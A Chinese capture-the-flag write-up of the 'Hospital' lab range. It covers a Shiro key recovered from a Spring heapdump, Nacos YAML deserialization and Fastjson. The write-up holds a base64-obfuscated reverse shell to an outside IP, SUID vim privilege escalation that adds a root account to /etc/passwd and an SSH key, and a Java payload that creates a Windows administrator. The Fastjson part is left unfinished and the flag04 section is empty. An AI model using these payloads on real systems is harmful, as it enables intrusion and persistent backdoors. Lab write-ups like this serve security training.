春秋云境-Hospital
概述
在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个 flag,分布于不同的靶机。
架构
内网地址 | Host or FQDN | 简要描述 |
---|---|---|
172.30.12.5 | Web01 | Spring + Shiro |
172.30.12.6 | Server02 | Nacos |
172.30.12.236 172.30.54.179 | Web03 | Fastjson |
172.30.54.12 | Web04 | Grafana + Postgresql |
前期信息打点
不知道为什么fscan最新版扫不出来8080端口,改成了1.8.2发现可以了
fscan扫描得到如下内容:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18D:\PenetrationW>.\fscan64 -h 39.99.231.151
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
(icmp) Target 39.99.231.151 is alive
[*] Icmp alive hosts len is: 1
39.99.231.151:22 open
39.99.231.151:8080 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle: http://39.99.231.151:8080 code:302 len:0 title:None 跳转url: http://39.99.231.151:8080/login;jsessionid=9823AC0A558D9D6AE0C5066806C444E4
[*] WebTitle: http://39.99.231.151:8080/login;jsessionid=9823AC0A558D9D6AE0C5066806C444E4 code:200 len:2005 title:医疗管理后台
[+] http://39.99.231.151:8080 poc-yaml-spring-actuator-heapdump-file
发现jsessionid=xxx,明显的Shiro特征,同时发现有acatuator泄露
访问网站,弱口令admin/admin123
直接登录了,但是没啥东西
8080端口存在一个网站和heapdump
文件,访问/actuator
目录
通过目录扫描发现其存在 Spring Boot Heapdump 泄露
<39.99.231.151:8080/actuator/heapdump>我们通过whwlsfb/JDumpSpider对Heapdump文件进行分析,得到 Shiro key
1 | D:\PenetrationW\JDumpSpider>java -jar .\JDumpSpider-1.1-SNAPSHOT-full.jar .\heapdump |
得到密钥
漏洞利用(Spring Boot Heapdump + Shiro Deserialization)
生成内存马,蚁剑连接
这个登录不进去,把文件改为jsp后缀可以(php后缀也不行)
连接过后我们直接反弹 shell1
2bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuMjQ5Ljk5LjcxLzc5OSAwPiYx}|{base64,-d}|{bash,-i}'
# bash -i >& /dev/tcp/123.249.99.71/799 0>&1
反弹过后,直接尝试查找 SUID 权限,根据输出发现vim.basic
具有S
权限,vim.basic
可以直接以root
身份进行文件编辑
1 | app@web01:/$ id |
非预期(猜flag地址)
vim.basic /root/flag/flag01.txt
莫名其妙就出了1
2
3
4
5
6
7
8
9^C) O)) O)) O))
root@hcss-ecs-6260:~# O) O)) O))
O)) O)) O)) O)))) O) O)) O)O) O) O)) O))
O)))))) O)) O)) O)) O)) O) O)) O)) O)) O)) O)) O))
O)) O))O)) O)) O))) O) O))O)) O)) O)) O)) O))
O)) O)) O)) O)) O))O)) O)) O)) O)) O)) O)) O))
O)) O)) O)) O)) O))O)) O)) O)) O)) O)))O)))
O))
flag01: flag{5dad6d4a-087c-4de3-bb10-f899ac1c69a9}
为了后面方便操作,进行提权,输入
一次性提权,不好用
1 | vim.basic -c ':python3 import os; os.execl("/bin/bash", "bash", "-pc", "reset; exec bash -p")' |
就可以这个提权,也可以直接写入root公钥1
2
3
4vim.basic /root/.ssh/authorized_keys
i
(公钥)
esc : wq!
正宗提权方法(升级交互式终端)
升级交互式终端,以欺骗某些命令让它们以为在合适的终端运行,vim.basic有suid权限,但是必须有tty,也就是交互式shell1
2
3
4
5
6
7
8python3 -c "import pty;pty.spawn('/bin/bash')"
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset
#xterm-256color
#最后这条命令执行会说命令找不到,不知道为什么
通过 vim.basic 修改 /etc/passwd 进行提权1
2openssl passwd -1 -salt 123 123456
# $1$123$7mft0jKnzzvAdU4t0unTG1
生成密码
在 /etc/passwd 文件中添加个账户1
2
3
4
5vim /etc/passwd
hacker:$1$123$7mft0jKnzzvAdU4t0unTG1:0:0:/root:/bin/bash
#退出的时候输入:wq!
添加之后,su切换到新添加的帐号,这台服务器是 web01,获取 flag01 的值1
su hacker
就有root权限了
内网扫描
上传 fscan 进行扫描内网网段
1 | ifconfig |
发现如下两个资产1
2http://172.30.12.6:8848 poc-yaml-alibaba-nacos poc-yaml-alibaba-nacos-v1-auth-bypass
http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台
上传frp进行socks5代理
访问http://172.30.12.6:8848/nacos/
内网172.30.12.6
存在一台nacos
服务,存在默认密码 nacos/nacos
http://172.30.12.236:8080是存在fastjson服务
flag02(Nacos Client Yaml Deserialization)
我们先访问 Nacos 服务:http://172.30.12.6:8848
反手一个弱口令进入后台nacos:nacos
,获取到的配置文件内容如下
1 | server: |
我们用charonlight/NacosExploitGUI工具检测一下存在的漏洞
根据检测结果我们尝试Nacos Client Yaml
反序列化漏洞,修改artsploit/yaml-payload制作一个恶意包
只需要修改AwesomeScriptEngineFactory.java
文件中的内容即可,我们直接添加一个管理员账户:1
2
3
4
5
6
7
8
9
10
11//Admin123..(原本的密码)
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("net user fmo fmo /add");
Runtime.getRuntime().exec("net localgroup administrators fmo /add");
} catch (IOException e) {
e.printStackTrace();
}
}
然后我们将上面的源代码编译为jar包1
2
3
4
5
6
7
8
9
10
11
12
13D:\PenetrationW\script\yaml-payload>D:\ProgrammingLanguage\java\jdk8-8u421\bin\javac -version
javac 1.8.0_421
D:\PenetrationW\script\yaml-payload>D:\ProgrammingLanguage\java\jdk8-8u421\bin\javac src/artsploit/AwesomeScriptEngineFactory.java
D:\PenetrationW\script\yaml-payload>D:\ProgrammingLanguage\java\jdk8-8u421\bin\jar -cvf yaml-payload.jar -C src/ .
已添加清单
正在添加: artsploit/(输入 = 0) (输出 = 0)(存储了 0%)
正在添加: artsploit/AwesomeScriptEngineFactory.class(输入 = 1671) (输出 = 702)(压缩了 57%)
正在添加: artsploit/AwesomeScriptEngineFactory.java(输入 = 1562) (输出 = 410)(压缩了 73%)
正在忽略条目META-INF/
正在添加: META-INF/services/(输入 = 0) (输出 = 0)(存储了 0%)
正在添加: META-INF/services/javax.script.ScriptEngineFactory(输入 = 36) (输出 = 38)(压缩了 -5%)
在当前目录发现新jar文件,上传到Web01
入口机器中,然后起一个Web服务
使之可以访问
1 | #用root权限的web01 |
另外Jar路径填内网地址(http://172.30.12.5/payload.jar),同时可以多执行几次,确保成功
之后进行常规的远程桌面链接即可链接即可(不用管端口号),最后在Administrator
用户目录下发现 flag02(这台电脑是Windows)
flag03(Fastjson Deserialization)
我们接着访问医院后台管理平台服务:http://172.30.12.236:8080/
Burp抓取登录包发现发送的为Json
数据,猜测为Fastjson
,发送Payload
后得到版本号1.2.45
1 | {"@type": "java.lang.AutoCloseable" |
172.30.12.236:8080是打Fastjson反序列化,这里直接用现成的burp插件amaz1ngday/fastjson-exp,抓登录的请求包,然后选择操作,再选择拓展,无论是send to fastjsonEcho还是send to fastjsonInject插件都能检验出来然后帮你拿shell
不过生成的马连不上,会显示initShellOpertion Fail,因为目标开启了session持久化,并且我们向session存入了不可被反序列化的数据,导致后续使用此session我们无法获取到之前存入的数据,解决办法是把生成的shell中的session替换成application,但他这个请求我没怎么看懂,改不来。但这个插件可以直接在消息请求头那里执行命令然后拿到执行结果,所以也不用连上去
因为我想改密码,输入了命令passwd
,导致web03靶机连接不了了,也不能getshell了,后面的部分也就打不了了,害,太可惜了,希望以后能补回来
flag04(Grafana Unauthorized Arbitrary File Reading & PostgreSQL Getshell)
好像是多次代理的玩意